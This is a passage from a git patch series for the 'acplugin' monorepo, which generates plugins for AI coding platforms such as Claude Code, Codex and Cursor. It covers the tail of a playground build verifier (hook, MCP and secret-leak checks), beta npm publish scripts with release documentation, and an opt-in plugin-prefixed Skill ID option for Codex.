runtime modes.`); + /** 使用真实平台 wire 执行当前 Handler。 */ + const execution = await runProtocol(handler, [platform], JSON.stringify(hookInput(event)), { + ANTIGRAVITY_PLUGIN_ROOT: hookRoots[platform], + CLAUDE_PLUGIN_DATA: path.join(hookRoots[platform], '.data'), + CLAUDE_PLUGIN_ROOT: hookRoots[platform], + CURSOR_PLUGIN_ROOT: hookRoots[platform], + PLUGIN_DATA: path.join(hookRoots[platform], '.data'), + PLUGIN_ROOT: hookRoots[platform], + }); + assert(execution.code === 0 && execution.stderr === '', `${platform} ${id} Handler failed its real wire protocol.`); + if (execution.stdout.trim() !== '') { + /** 平台需要显式 stdout 时,结果必须是可序列化对象。 */ + const output = JSON.parse(execution.stdout); + assert(output !== null && typeof output === 'object' && !Array.isArray(output), `${platform} ${id} emitted a non-object result.`); + } } - assert(artifacts.has('resources/templates/domain.md'), `${platform} is missing Public templates.`); - assert(artifacts.has('runtime/README.md'), `${platform} is missing the runtime boundary document.`); - assert(artifacts.has('schemas/README.md'), `${platform} is missing the schema boundary document.`); - assert(artifacts.has('upgrade/README.md'), `${platform} is missing the upgrade boundary document.`); } } -/** 作为脚本入口执行 Playground 结构与兼容性白名单检查。 */ +/** 校验 HTTP/OAuth/Bearer/stdio MCP 映射与真实本地 Server 协议。 */ +async function verifyMcp() { + /** Claude Code 包装后的 MCP 清单。 */ + const claude = (await readJson(path.join(outputRoot, 'claude-code/plugin/.mcp.json'))).mcpServers; + /** Codex 直接使用的 MCP 清单。 */ + const codex = await readJson(path.join(outputRoot, 'codex/plugin/.mcp.json')); + /** Cursor 仅含远程服务的 MCP 清单。 */ + const cursor = (await readJson(path.join(outputRoot, 'cursor/plugin/mcp.json'))).mcpServers; + /** Antigravity 仅含远程服务的 MCP 清单。 */ + const antigravity = (await readJson(path.join(outputRoot, 'antigravity/plugin/mcp_config.json'))).mcpServers; + /** OpenCode 工作区中的 MCP 清单。 */ + const openCode = (await readJson(path.join(outputRoot, 'opencode/workspace/opencode.json'))).mcp; + for (const descriptors of [claude, codex, cursor, antigravity, openCode]) { + assert(descriptors['public-docs'].url === 'https://mcp.example.com/public-docs', 'Remote public MCP URL was mapped incorrectly.'); + assert(descriptors['oauth-docs'].url === 'https://mcp.example.com/oauth-docs', 'Remote OAuth MCP URL was mapped incorrectly.'); + assert(descriptors['protected-docs'].url === 'https://mcp.example.com/protected-docs', 'Remote Bearer MCP URL was mapped incorrectly.'); + } + assert(claude['protected-docs'].headers.Authorization === 'Bearer ${PLAYGROUND_MCP_TOKEN}', 'Claude Code Bearer env reference is incorrect.'); + assert(codex['protected-docs'].bearer_token_env_var === 'PLAYGROUND_MCP_TOKEN', 'Codex Bearer env reference is incorrect.'); + assert(cursor['protected-docs'].headers.Authorization === 'Bearer ${env:PLAYGROUND_MCP_TOKEN}', 'Cursor Bearer env reference is incorrect.'); + assert(antigravity['protected-docs'].headers.Authorization === 'Bearer ${PLAYGROUND_MCP_TOKEN}', 'Antigravity Bearer env reference is incorrect.'); + assert(openCode['protected-docs'].headers.Authorization === 'Bearer {env:PLAYGROUND_MCP_TOKEN}', 'OpenCode Bearer env reference is incorrect.'); + assert(claude['oauth-docs'].oauth.scopes === 'resources:read templates:read', 'Claude Code OAuth scopes are incorrect.'); + assert(JSON.stringify(codex['oauth-docs'].scopes) === '["resources:read","templates:read"]', 'Codex OAuth scopes are incorrect.'); + assert(JSON.stringify(openCode['oauth-docs'].oauth.scopes) === '["resources:read","templates:read"]', 'OpenCode OAuth scopes are incorrect.'); + assert(cursor['oauth-docs'].scopes === undefined && antigravity['oauth-docs'].scopes === undefined, 'A degraded MCP adapter emitted unsupported OAuth scopes.'); + assert(claude['local-tools'].type === 'stdio' && codex['local-tools'].command === 'node' && openCode['local-tools'].type === 'local', 'Supported local MCP descriptors are incomplete.'); + assert(cursor['local-tools'] === undefined && antigravity['local-tools'] === undefined, 'Remote-only MCP adapter emitted local stdio configuration.'); + + /** local stdio 只允许出现在三个拥有 portable root contract 的 Platform。 */ + const servers = [ + path.join(outputRoot, 'claude-code/plugin/mcp/local-tools/server.mjs'), + path.join(outputRoot, 'codex/plugin/mcp/local-tools/server.mjs'), + path.join(outputRoot, 'opencode/workspace/.opencode/mcp/local-tools/server.mjs'), + ]; + assert(!await exists(path.join(outputRoot, 'cursor/plugin/mcp/local-tools/server.mjs')), 'Cursor emitted unsupported local MCP bundle.'); + assert(!await exists(path.join(outputRoot, 'antigravity/plugin/mcp/local-tools/server.mjs')), 'Antigravity emitted unsupported local MCP bundle.'); + assert(!await exists(path.join(outputRoot, 'pi/package/mcp')), 'Pi emitted unsupported MCP artifacts.'); + /** 三个平台必须复用同一平台中立 Bundle 字节。 */ + const serverBytes = await Promise.all(servers.map(file => fs.readFile(file))); + assert(serverBytes[0].equals(serverBytes[1]) && serverBytes[0].equals(serverBytes[2]), 'Local MCP Server Bundle differs between supported Platforms.'); + for (const server of servers) { + /** 当前本地 MCP Server Bundle 的权限位。 */ + const mode = (await fs.stat(server)).mode & 0o777; + assert(mode === 0o755, 'Local MCP Server is not executable.'); + assert(!await exists(path.join(path.dirname(server), 'THIRD_PARTY_LICENSES.txt')), 'Dependency-free MCP Server emitted a spurious license inventory.'); + /** 同时覆盖 initialize、notifications/initialized、tools/list 和 tools/call。 */ + const input = [ + JSON.stringify({ + jsonrpc: '2.0', + id: 1, + method: 'initialize', + params: { protocolVersion: '2025-11-25', capabilities: {}, clientInfo: { name: 'playground-verifier', version: '1.0.0' } }, + }), + JSON.stringify({ jsonrpc: '2.0', method: 'notifications/initialized' }), + JSON.stringify({ jsonrpc: '2.0', id: 2, method: 'tools/list', params: {} }), + JSON.stringify({ jsonrpc: '2.0', id: 3, method: 'tools/call', params: { name: 'inspect-template', arguments: {} } }), + '', + ].join('\n'); + /** 真实安装 Bundle 的 JSON-RPC 响应。 */ + const execution = await runProtocol(server, [], input); + assert(execution.code === 0 && execution.stderr === '', 'Local MCP Server failed its real protocol smoke.'); + /** 按 JSON Lines 协议解析的三条响应。 */ + const responses = execution.stdout.trim().split('\n').map(line => JSON.parse(line)); + assert(responses.length === 3, 'Local MCP Server emitted an unexpected response count.'); + assert(responses[0].result.serverInfo.name === 'acplugin-playground', 'Local MCP initialize response is incorrect.'); + assert(responses[1].result.tools[0].name === 'inspect-template', 'Local MCP tools/list response is incorrect.'); + assert(responses[2].result.content[0].text.includes('static ACPlugin capability template'), 'Local MCP tools/call response is incorrect.'); + } +} + +/** 扫描稳定报告与所有生成文件,拒绝绝对路径和 Secret 值泄漏。 */ +async function verifyStableOutputSafety(report) { + /** 报告不得包含宿主路径或构建期 Secret 值。 */ + const serializedReport = JSON.stringify(report); + assert(!serializedReport.includes(playground), 'Playground report leaks its absolute project path.'); + assert(!serializedReport.includes(secretMarker), 'Playground report leaks a build-time Secret value.'); + for (const file of await listFiles(outputRoot)) { + /** 当前输出全部是可安全按 UTF-8 扫描的 JSON/Markdown/ESM/SVG 文本。 */ + const content = await readText(path.join(outputRoot, file)); + assert(!content.includes(playground), `Generated file ${file} leaks its absolute project path.`); + assert(!content.includes(secretMarker), `Generated file ${file} leaks a build-time Secret value.`); + } +} + +/** 运行完整 Playground validate、双 build、内容协议和确定性检查。 */ +async function main() { + /** 真实 validate 产生但不提交的完整 BuildResult。 */ + const validation = await runCli('validate'); + verifyReport(validation, 'validate'); + /** 第一次真实 build 负责提交随后检查的六平台输出。 */ + const firstBuild = await runCli('build'); + verifyReport(firstBuild, 'build'); + /** validate/build 除命令和提交状态外必须拥有相同的稳定结构。 */ + for (const field of ['compatibility', 'diagnostics', 'documents', 'extensions', 'metadata', 'platformDetails', 'platforms']) + assert(JSON.stringify(validation[field]) === JSON.stringify(firstBuild[field]), `validate/build differ in stable report field ${field}.`); + /** command 会改变临时 Hook workDir,但不能改变交付结构、size、mode 或 owner。 */ + const deliveryShape = report => report.deliveryUnits.map(unit => ({ + platform: unit.platform, + id: unit.id, + role: unit.role, + type: unit.type, + artifacts: unit.artifacts.map(({ sha256: _sha256, ...artifact }) => artifact), + })); + assert(JSON.stringify(deliveryShape(validation)) === JSON.stringify(deliveryShape(firstBuild)), 'validate/build differ in DeliveryUnit structure.'); + await verifyArtifactClosure(firstBuild); + await verifyCanonicalOutputs(); + await verifyManifestsAndDistributions(); + await verifyHooks(); + await verifyMcp(); + await verifyStableOutputSafety(firstBuild); + + /** 第一次构建后完整产物树的权限与字节快照。 */ + const firstSnapshot = await snapshotOutput(); + /** 第二次相同输入构建用于验证事务替换后的字节确定性。 */ + const secondBuild = await runCli('build'); + assert(JSON.stringify(firstBuild) === JSON.stringify(secondBuild), 'Repeated Playground build report is not byte-stable JSON.'); + /** 第二次构建后完整产物树的权限与字节快照。 */ + const secondSnapshot = await snapshotOutput(); + assert(JSON.stringify(firstSnapshot) === JSON.stringify(secondSnapshot), 'Repeated Playground build changed output bytes or modes.'); +} + await main(); From eb9f914e4268699de5d663eb811472d3e9bcac05 Mon Sep 17 00:00:00 2001 From: wh1teAlter <2369332823@qq.com> Date: Mon, 10 Aug 2026 15:16:48 +0800 Subject: [PATCH 21/27] =?UTF-8?q?feat:=20=E6=B7=BB=E5=8A=A0=E9=A6=96?= =?UTF-8?q?=E6=AC=A1=E5=8F=91=E5=B8=83=20=20=E5=8C=85=E7=9A=84=E7=AE=80?= =?UTF-8?q?=E5=8C=96=E5=91=BD=E4=BB=A4=E5=8F=8A=E7=9B=B8=E5=85=B3=E8=84=9A?= =?UTF-8?q?=E6=9C=AC?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- llmdoc/guides/release.md | 8 ++++++++ llmdoc/guides/release.zh-CN.md | 8 ++++++++ package.json | 3 +++ packages/acplugin/package.json | 1 + packages/extensions/hooks/package.json | 1 + packages/extensions/mcp/package.json | 1 + packages/platforms/antigravity/package.json | 1 + packages/platforms/claude-code/package.json | 1 + packages/platforms/codex/package.json | 1 + packages/platforms/cursor/package.json | 1 + packages/platforms/opencode/package.json | 1 + packages/platforms/pi/package.json | 1 + 12 files changed, 28 insertions(+) diff --git a/llmdoc/guides/release.md b/llmdoc/guides/release.md index 3b04ee8..9d2f3eb 100644 --- a/llmdoc/guides/release.md +++ b/llmdoc/guides/release.md @@ -65,6 +65,14 @@ npm publish --access public --otp npm view @ version ``` +For the first publication of the nine `0.0.1-beta` packages, a maintainer may use the simplified root command: + +```bash +pnpm run publish:beta +``` + +The root `prepublish:beta` first runs a frozen install and `release:preflight`. The preflight performs lint and typecheck, builds the workspace once, runs tests with package pre/post scripts disabled, validates Docs/Playground without rebuilding the workspace, and finishes with `release:verify`. `pnpm -r publish` then selects only the public `@tokenroll/*` packages, pins the npmjs Registry and the `beta` tag, and lets every public package rebuild itself through `prepublishOnly` immediately before packing. This command is limited to the initial nine-package `0.0.1-beta` cohort; it must not be reused for stable or independently versioned incremental releases, or invoked by a Workflow. + If publication is interrupted, query every planned exact version and continue only with missing versions whose peer dependencies are already available. npm versions are immutable and must not be republished. ## Create release references manually diff --git a/llmdoc/guides/release.zh-CN.md b/llmdoc/guides/release.zh-CN.md index 5dd477d..bb6052a 100644 --- a/llmdoc/guides/release.zh-CN.md +++ b/llmdoc/guides/release.zh-CN.md @@ -65,6 +65,14 @@ npm publish --access public --otp npm view @ version ``` +首次发布九个 `0.0.1-beta` package 时,可以由维护者在仓库根手工执行简化命令: + +```bash +pnpm run publish:beta +``` + +根 `prepublish:beta` 会先执行 frozen install 和 `release:preflight`。该前置检查依次执行 lint/typecheck、一次全仓构建、关闭 package pre/post 生命周期的测试、不再重建全仓的 Docs/Playground 验证,最后执行 `release:verify`;随后 `pnpm -r publish` 只选择 `@tokenroll/*` 公开包,并使用固定的 npmjs Registry 与 `beta` tag。九个公开 package 各自通过 `prepublishOnly` 在实际 pack 前重建自身。该命令只适用于所有九个包均为首次发布的 `0.0.1-beta` cohort,不得复用于稳定版或独立增量发布,也不得由 Workflow 自动调用。 + 如果发布过程被中断,查询计划中的每个精确版本,只继续发布 peer dependency 已可满足且 Registry 中仍缺失的版本。npm 版本不可变,不能重复发布。 ## 手动创建 Release 引用 diff --git a/package.json b/package.json index f9b5b54..bd0e334 100644 --- a/package.json +++ b/package.json @@ -27,6 +27,9 @@ "changeset": "changeset", "version-packages": "changeset version", "release:verify": "node scripts/verify-release.mjs", + "release:preflight": "pnpm run lint && pnpm run typecheck && pnpm run build && pnpm --config.enable-pre-post-scripts=false -r --if-present run test && pnpm run docs:build && pnpm run docs:verify && pnpm run playground:typecheck && pnpm run playground:verify && pnpm run release:verify", + "prepublish:beta": "pnpm install --frozen-lockfile && pnpm run release:preflight", + "publish:beta": "pnpm -r --filter '@tokenroll/*' publish --access public --tag beta --registry=https://registry.npmjs.org/", "lint": "pnpm run comments:check && eslint .", "lint:fix": "eslint . --fix", "comments:check": "node scripts/check-comments.mjs", diff --git a/packages/acplugin/package.json b/packages/acplugin/package.json index 4650dbd..84e46a1 100644 --- a/packages/acplugin/package.json +++ b/packages/acplugin/package.json @@ -15,6 +15,7 @@ "publishConfig": { "access": "public" }, "scripts": { "build": "tsdown", + "prepublishOnly": "pnpm run build", "dev": "tsdown --watch", "pretest": "pnpm --filter @acplugin/core run build", "test": "vitest run --passWithNoTests", diff --git a/packages/extensions/hooks/package.json b/packages/extensions/hooks/package.json index f135eca..a0848fd 100644 --- a/packages/extensions/hooks/package.json +++ b/packages/extensions/hooks/package.json @@ -14,6 +14,7 @@ "publishConfig": { "access": "public" }, "scripts": { "build": "tsdown", + "prepublishOnly": "pnpm run build", "pretest": "pnpm --filter @acplugin/core run build && pnpm --filter @tokenroll/acplugin run build && pnpm --filter @tokenroll/acplugin-platform-claude-code run build && pnpm --filter @tokenroll/acplugin-platform-codex run build && pnpm run build", "test": "vitest run --passWithNoTests", "typecheck": "tsc -p tsconfig.json" diff --git a/packages/extensions/mcp/package.json b/packages/extensions/mcp/package.json index 19ef9f1..03793e1 100644 --- a/packages/extensions/mcp/package.json +++ b/packages/extensions/mcp/package.json @@ -14,6 +14,7 @@ "publishConfig": { "access": "public" }, "scripts": { "build": "tsdown", + "prepublishOnly": "pnpm run build", "test": "vitest run --passWithNoTests", "typecheck": "tsc -p tsconfig.json" }, diff --git a/packages/platforms/antigravity/package.json b/packages/platforms/antigravity/package.json index d718320..d3b0f69 100644 --- a/packages/platforms/antigravity/package.json +++ b/packages/platforms/antigravity/package.json @@ -14,6 +14,7 @@ "publishConfig": { "access": "public" }, "scripts": { "build": "tsdown", + "prepublishOnly": "pnpm run build", "test": "vitest run --passWithNoTests", "typecheck": "tsc -p tsconfig.json" }, diff --git a/packages/platforms/claude-code/package.json b/packages/platforms/claude-code/package.json index f63d214..c196991 100644 --- a/packages/platforms/claude-code/package.json +++ b/packages/platforms/claude-code/package.json @@ -14,6 +14,7 @@ "publishConfig": { "access": "public" }, "scripts": { "build": "tsdown", + "prepublishOnly": "pnpm run build", "test": "vitest run --passWithNoTests", "typecheck": "tsc -p tsconfig.json" }, diff --git a/packages/platforms/codex/package.json b/packages/platforms/codex/package.json index ca0845b..9751a7d 100644 --- a/packages/platforms/codex/package.json +++ b/packages/platforms/codex/package.json @@ -14,6 +14,7 @@ "publishConfig": { "access": "public" }, "scripts": { "build": "tsdown", + "prepublishOnly": "pnpm run build", "test": "vitest run --passWithNoTests", "typecheck": "tsc -p tsconfig.json" }, diff --git a/packages/platforms/cursor/package.json b/packages/platforms/cursor/package.json index fc76648..d2afe28 100644 --- a/packages/platforms/cursor/package.json +++ b/packages/platforms/cursor/package.json @@ -14,6 +14,7 @@ "publishConfig": { "access": "public" }, "scripts": { "build": "tsdown", + "prepublishOnly": "pnpm run build", "test": "vitest run --passWithNoTests", "typecheck": "tsc -p tsconfig.json" }, diff --git a/packages/platforms/opencode/package.json b/packages/platforms/opencode/package.json index 987ddbf..a471ec7 100644 --- a/packages/platforms/opencode/package.json +++ b/packages/platforms/opencode/package.json @@ -14,6 +14,7 @@ "publishConfig": { "access": "public" }, "scripts": { "build": "tsdown", + "prepublishOnly": "pnpm run build", "test": "vitest run --passWithNoTests", "typecheck": "tsc -p tsconfig.json" }, diff --git a/packages/platforms/pi/package.json b/packages/platforms/pi/package.json index 302a425..e2ee35b 100644 --- a/packages/platforms/pi/package.json +++ b/packages/platforms/pi/package.json @@ -14,6 +14,7 @@ "publishConfig": { "access": "public" }, "scripts": { "build": "tsdown", + "prepublishOnly": "pnpm run build", "test": "vitest run --passWithNoTests", "typecheck": "tsc -p tsconfig.json" }, From 9086b37c21bcc700e163043abfb050f91242ffe9 Mon Sep 17 00:00:00 2001 From: wh1teAlter <2369332823@qq.com> Date: Mon, 10 Aug 2026 17:58:42 +0800 Subject: [PATCH 22/27] feat(codex): add opt-in plugin-prefixed Skill ID strategy for Commands - Introduced a new option to allow Commands to generate Skill IDs with the Plugin name as a prefix. - Updated documentation to reflect the new ID generation strategy and its usage. - Enhanced the Codex Platform to validate and handle the new ID strategy during Skill generation and validation. - Added tests to ensure proper functionality and collision handling for plugin-prefixed Command Skill IDs. --- .changeset/calm-tools-name.md | 5 + llmdoc/guides/package-code-tour.zh-CN.md | 13 +-- llmdoc/guides/usage.md | 8 ++ llmdoc/guides/usage.zh-CN.md | 8 ++ llmdoc/reference/conversion-matrix.md | 4 +- llmdoc/reference/conversion-matrix.zh-CN.md | 4 +- llmdoc/state/sync.md | 4 +- packages/acplugin/src/init.ts | 23 +++-- packages/docs/platforms/codex.md | 3 +- .../docs/resources/compatibility-matrix.md | 2 +- packages/platforms/codex/README.md | 17 ++++ packages/platforms/codex/package.json | 2 +- packages/platforms/codex/src/components.ts | 45 +++++++-- packages/platforms/codex/src/index.ts | 8 +- packages/platforms/codex/src/manifest.ts | 20 +++- packages/platforms/codex/src/types.ts | 9 ++ .../skills/release-tools-release/SKILL.md | 5 + .../release-tools-release/agents/openai.yaml | 5 + .../platforms/codex/test/platform.test.ts | 97 +++++++++++++++++++ packages/test/test/codex.test.ts | 38 ++++++++ packages/test/test/init.test.ts | 2 +- packages/test/test/public-api.types.ts | 5 +- packages/test/test/workspace-layout.test.ts | 16 +-- 23 files changed, 300 insertions(+), 43 deletions(-) create mode 100644 .changeset/calm-tools-name.md create mode 100644 packages/platforms/codex/test/golden/skills/release-tools-release/SKILL.md create mode 100644 packages/platforms/codex/test/golden/skills/release-tools-release/agents/openai.yaml diff --git a/.changeset/calm-tools-name.md b/.changeset/calm-tools-name.md new file mode 100644 index 0000000..bcdb83f --- /dev/null +++ b/.changeset/calm-tools-name.md @@ -0,0 +1,5 @@ +--- +"@tokenroll/acplugin-platform-codex": minor +--- + +Add an opt-in plugin-prefixed generated Skill ID strategy for Commands while preserving the existing command-prefixed default. diff --git a/llmdoc/guides/package-code-tour.zh-CN.md b/llmdoc/guides/package-code-tour.zh-CN.md index fee35dd..4d156bb 100644 --- a/llmdoc/guides/package-code-tour.zh-CN.md +++ b/llmdoc/guides/package-code-tour.zh-CN.md @@ -425,24 +425,25 @@ generateDistributions(primary): ### 内容与数据流 -- [components.ts](../../packages/platforms/codex/src/components.ts):原生 Skill;Command 转 `command-` Skill;Agent 降级为 `agent-` 指导 Skill;可生成 `agents/openai.yaml`。 +- [components.ts](../../packages/platforms/codex/src/components.ts):原生 Skill;Command 默认转 `command-` Skill,也可显式选用 Plugin 前缀;Agent 降级为 `agent-` 指导 Skill;可生成 `agents/openai.yaml`。 - [manifest.ts](../../packages/platforms/codex/src/manifest.ts):拥有 Codex Plugin manifest、Hooks/MCP 扩展点和可选 Marketplace。 - [protocol.ts](../../packages/platforms/codex/src/protocol.ts):类别、安装方式、界面字段、URL/资源路径和 SVG 尺寸协议。 - [validator.ts](../../packages/platforms/codex/src/validator.ts):验证 Skill、展示资源、Hook、MCP、Plugin 和 Marketplace 的引用闭包。 -Command 中的 `{{arguments}}` 会变成显式调用指引,并独立报告 `arguments/transform`;`argumentHint` 因没有等价 UI 仍单独降级。fallback ID 会在 `prepare()` 前检查大小写不敏感冲突。 +Command 中的 `{{arguments}}` 会变成显式调用指引,并独立报告 `arguments/transform`;`argumentHint` 因没有等价 UI 仍单独降级。Command generated ID 默认是 `command-`;`generatedSkillIds.command: 'plugin-prefixed'` 只在显式启用时生成 `-`。prepare 冲突检查和 generateBundle 共用同一 ID resolver。 ### 实现伪代码 ```ts -prepare(project): - rejectCollisions(skillId, `command-${id}`, `agent-${id}`) +prepare(project, options): + commandId = resolveCommandSkillId(project.name, options.generatedSkillIds) + rejectCollisions(skillId, commandId, `agent-${id}`) manifest = createCodexManifest(interfaceOptions) expose ['hooks'] and ['mcpServers'] -generateBundle(draft): +generateBundle(draft, capturedCommandIdStrategy): nativeSkills = emitSkills(project.skills) - commandSkills = emitExplicitSkills(project.commands, prefix='command-') + commandSkills = emitExplicitSkills(project.commands, capturedCommandIdStrategy) agentSkills = emitGuidanceSkills(project.agents, prefix='agent-') metadata = emitOptionalAgentsOpenAiYaml() reportNativeTransformOrDegradedPerCapability() diff --git a/llmdoc/guides/usage.md b/llmdoc/guides/usage.md index cb139d3..fe9b7b3 100644 --- a/llmdoc/guides/usage.md +++ b/llmdoc/guides/usage.md @@ -86,6 +86,14 @@ export default defineConfig({ `platforms` is required and `--platform ` only filters IDs already instantiated in that list. The main package does not re-export official factories or provide Platform subpaths. OpenCode output is a workspace overlay and Pi output is an npm package. They are not mislabeled as static Plugins. See the [Platform support matrix](../reference/conversion-matrix.md) before enabling strict multi-Platform builds. +Codex transforms Commands into explicit `command-` Skills by default. When a consumer specifically requires Plugin-visible generated IDs, opt in per Codex Platform instance: + +```ts +codex({ generatedSkillIds: { command: 'plugin-prefixed' } }) +``` + +For Plugin `my-plugin`, Command `bootstrap` then becomes `my-plugin-bootstrap`. This does not change the canonical Command ID, other Platforms, or the default Codex output. + ## Public files Regular files in `public/` are copied to every target root by default. Use explicit rules when only part of the directory should be copied: diff --git a/llmdoc/guides/usage.zh-CN.md b/llmdoc/guides/usage.zh-CN.md index cb257c0..40e6ad1 100644 --- a/llmdoc/guides/usage.zh-CN.md +++ b/llmdoc/guides/usage.zh-CN.md @@ -86,6 +86,14 @@ export default defineConfig({ `platforms` 是必填项,`--platform ` 只会筛选该列表中已经实例化的 ID。主包不重新导出官方工厂,也不提供 Platform subpath。OpenCode 产物是 Workspace Overlay,Pi 产物是 npm Package,不会被错误标记为静态 Plugin。启用严格多平台构建前应先查看[平台支持矩阵](../reference/conversion-matrix.zh-CN.md)。 +Codex 默认把 Command 转换为显式的 `command-` Skill。只有消费侧明确要求 generated ID 显示 Plugin name 时,才对对应 Codex Platform 实例启用: + +```ts +codex({ generatedSkillIds: { command: 'plugin-prefixed' } }) +``` + +对于 Plugin `my-plugin`,Command `bootstrap` 会生成 `my-plugin-bootstrap`。这不会改变 canonical Command ID、其他 Platform 或 Codex 默认输出。 + ## Public 文件 默认情况下,`public/` 中的普通文件会复制到每个目标根目录。如果只需复制其中一部分,可以使用显式规则: diff --git a/llmdoc/reference/conversion-matrix.md b/llmdoc/reference/conversion-matrix.md index c1faabf..7b461e3 100644 --- a/llmdoc/reference/conversion-matrix.md +++ b/llmdoc/reference/conversion-matrix.md @@ -10,7 +10,7 @@ This matrix describes canonical ACPlugin 1.0 builds. Tolerant conversion code be | --- | --- | --- | --- | --- | --- | --- | | Delivery unit | Installable Plugin | Installable Plugin | Installable Plugin | Installable Plugin | Workspace overlay | npm package | | Skill | Native | Native | Native | Native | Native | Native | -| Command | Native Command | Transform to explicit `command-` Skill | Native Command | Transform to explicit `command-` Skill | Native workspace Command | Transform to Prompt Template | +| Command | Native Command | Transform to explicit `command-` Skill by default; optional `plugin-name-` | Native Command | Transform to explicit `command-` Skill | Native workspace Command | Transform to Prompt Template | | Agent | Native Agent | Degraded `agent-` guidance Skill | Native Subagent; some model/capability fields degrade | Degraded `agent-` guidance Skill | Native Subagent; capabilities transform to tools/permissions | Degraded `agent-` guidance Skill | | Public files | Plugin-root copy | Plugin-root copy | Plugin-root copy | Plugin-root copy | Workspace-root copy | Package-root copy | | Separate Marketplace distribution | Optional | Optional | Not generated | Not generated | Not applicable | Not applicable | @@ -21,6 +21,8 @@ OpenCode is intentionally a workspace overlay and does not receive a fabricated When a Codex Command body uses `{{arguments}}`, the fallback Skill replaces it with explicit invocation guidance and reports an independent `arguments/transform` capability. A declared `argumentHint` remains a separate degraded capability because Codex Skill metadata has no equivalent hint UI. +Codex keeps the stable `command-` generated Skill ID by default. Projects that require the Plugin name to remain visible in the Skill ID can opt into `codex({ generatedSkillIds: { command: 'plugin-prefixed' } })`; the final ID remains subject to the same collision and combined Plugin/Skill identity validation. + ## Hooks Extension | Portable event | Claude Code | Codex | Cursor | Antigravity | OpenCode | Pi | diff --git a/llmdoc/reference/conversion-matrix.zh-CN.md b/llmdoc/reference/conversion-matrix.zh-CN.md index 34729a3..7ec79ae 100644 --- a/llmdoc/reference/conversion-matrix.zh-CN.md +++ b/llmdoc/reference/conversion-matrix.zh-CN.md @@ -10,7 +10,7 @@ | --- | --- | --- | --- | --- | --- | --- | | 交付单元 | 可安装 Plugin | 可安装 Plugin | 可安装 Plugin | 可安装 Plugin | Workspace Overlay | npm Package | | Skill | 原生 | 原生 | 原生 | 原生 | 原生 | 原生 | -| Command | 原生 Command | 转换为显式 `command-` Skill | 原生 Command | 转换为显式 `command-` Skill | 原生 Workspace Command | 转换为 Prompt Template | +| Command | 原生 Command | 默认转换为显式 `command-` Skill;可选 `plugin-name-` | 原生 Command | 转换为显式 `command-` Skill | 原生 Workspace Command | 转换为 Prompt Template | | Agent | 原生 Agent | 降级为 `agent-` 指导 Skill | 原生 Subagent;部分模型/能力字段降级 | 降级为 `agent-` 指导 Skill | 原生 Subagent;能力转换为 tools/permissions | 降级为 `agent-` 指导 Skill | | Public 文件 | 复制到 Plugin 根 | 复制到 Plugin 根 | 复制到 Plugin 根 | 复制到 Plugin 根 | 复制到 Workspace 根 | 复制到 Package 根 | | 独立 Marketplace 分发 | 可选 | 可选 | 不生成 | 不生成 | 不适用 | 不适用 | @@ -21,6 +21,8 @@ OpenCode 明确是 Workspace Overlay,不会收到伪造的通用 `package.json 当 Codex Command 正文使用 `{{arguments}}` 时,回退 Skill 会把它替换为显式调用指引,并独立报告 `arguments/transform` 能力。作者声明的 `argumentHint` 仍是另一项 degraded 能力,因为 Codex Skill 元数据没有等价的参数提示 UI。 +Codex 默认保持稳定的 `command-` generated Skill ID。确实需要在 Skill ID 中显示 Plugin name 的工程可以显式使用 `codex({ generatedSkillIds: { command: 'plugin-prefixed' } })`;最终 ID 继续接受相同的冲突与 Plugin/Skill 组合身份校验。 + ## Hooks Extension | 可移植事件 | Claude Code | Codex | Cursor | Antigravity | OpenCode | Pi | diff --git a/llmdoc/state/sync.md b/llmdoc/state/sync.md index 14a4f6c..22fcf73 100644 --- a/llmdoc/state/sync.md +++ b/llmdoc/state/sync.md @@ -11,8 +11,8 @@ - Dev: Extension module graphs participate in watch mode; initial/dynamic ready windows receive catch-up builds; split editor writes are stabilized before queue-level debounce; signal cleanup exits with code 130. - Playground: `packages/playground` is a domain-neutral six-Platform capability template with four Commands, one `project-workflow` Skill plus auxiliary assets, three Agents, all 11 portable Hook events, four HTTP/OAuth/Bearer/stdio MCP declarations, Public assets, and Claude Code/Codex Marketplace distributions. Its verifier executes supported Hook wires and local MCP JSON-RPC bundles, checks the 211-entry compatibility matrix and eight DeliveryUnits, proves Artifact/file-tree closure, and compares repeated-build report bytes, file hashes, and modes. - Review: Standards Hard 0, with one non-blocking Hooks platform-profile consolidation suggestion. Spec final rereview passed after the Migration field-fidelity remediation; no blocking findings remain. -- Validation: lint, TypeScript 7 typecheck, 219 package and cross-package Vitest tests, build, ATTW/publint, `playground:check`, `release:verify`, and `docs:check` pass for the `0.0.1-beta` workspace. The Playground materializes 361 verified files across six Platform output roots; nine beta tarballs pass clean-consumer checks covering all official integrations, a third-party Platform brand, six-platform scaffolding, and main-only packed Migration. -- Release phase: `0.0.1-beta` remains a validation and real-world usage cohort. The nine public packages advance directly to stable `1.0.0` only after the agreed observation period completes without unresolved release blockers and the full release-readiness matrix is rerun. +- Validation: lint, TypeScript 7 typecheck, 222 package and cross-package Vitest tests, build, ATTW/publint, `playground:check`, `release:verify`, and `docs:check` pass for the beta workspace. The Playground materializes 361 verified files across six Platform output roots; nine beta tarballs pass clean-consumer checks covering all official integrations, a third-party Platform brand, six-platform scaffolding, and main-only packed Migration. +- Release phase: the Codex Platform is independently versioned at `0.0.2-beta`; the other eight public packages remain at `0.0.1-beta`. These beta packages remain a validation and real-world usage cohort and advance to stable `1.0.0` only after the agreed observation period completes without unresolved release blockers and the full release-readiness matrix is rerun. ```text pnpm run check diff --git a/packages/acplugin/src/init.ts b/packages/acplugin/src/init.ts index 7bdc07f..f20aa00 100644 --- a/packages/acplugin/src/init.ts +++ b/packages/acplugin/src/init.ts @@ -53,14 +53,14 @@ export class InitError extends Error { /** 无交互脚手架默认启用的正式支持 Platform。 */ const DEFAULT_PLATFORMS: readonly InitPlatformId[] = ['claude-code', 'codex']; -/** 每个官方 Platform 的独立 package 与配置工厂导出名。 */ -const PLATFORM_PACKAGES: Readonly> = { - 'claude-code': { packageName: '@tokenroll/acplugin-platform-claude-code', factory: 'claudeCode' }, - 'codex': { packageName: '@tokenroll/acplugin-platform-codex', factory: 'codex' }, - 'cursor': { packageName: '@tokenroll/acplugin-platform-cursor', factory: 'cursor' }, - 'antigravity': { packageName: '@tokenroll/acplugin-platform-antigravity', factory: 'antigravity' }, - 'opencode': { packageName: '@tokenroll/acplugin-platform-opencode', factory: 'openCode' }, - 'pi': { packageName: '@tokenroll/acplugin-platform-pi', factory: 'pi' }, +/** 每个独立版本化官方 Platform 的 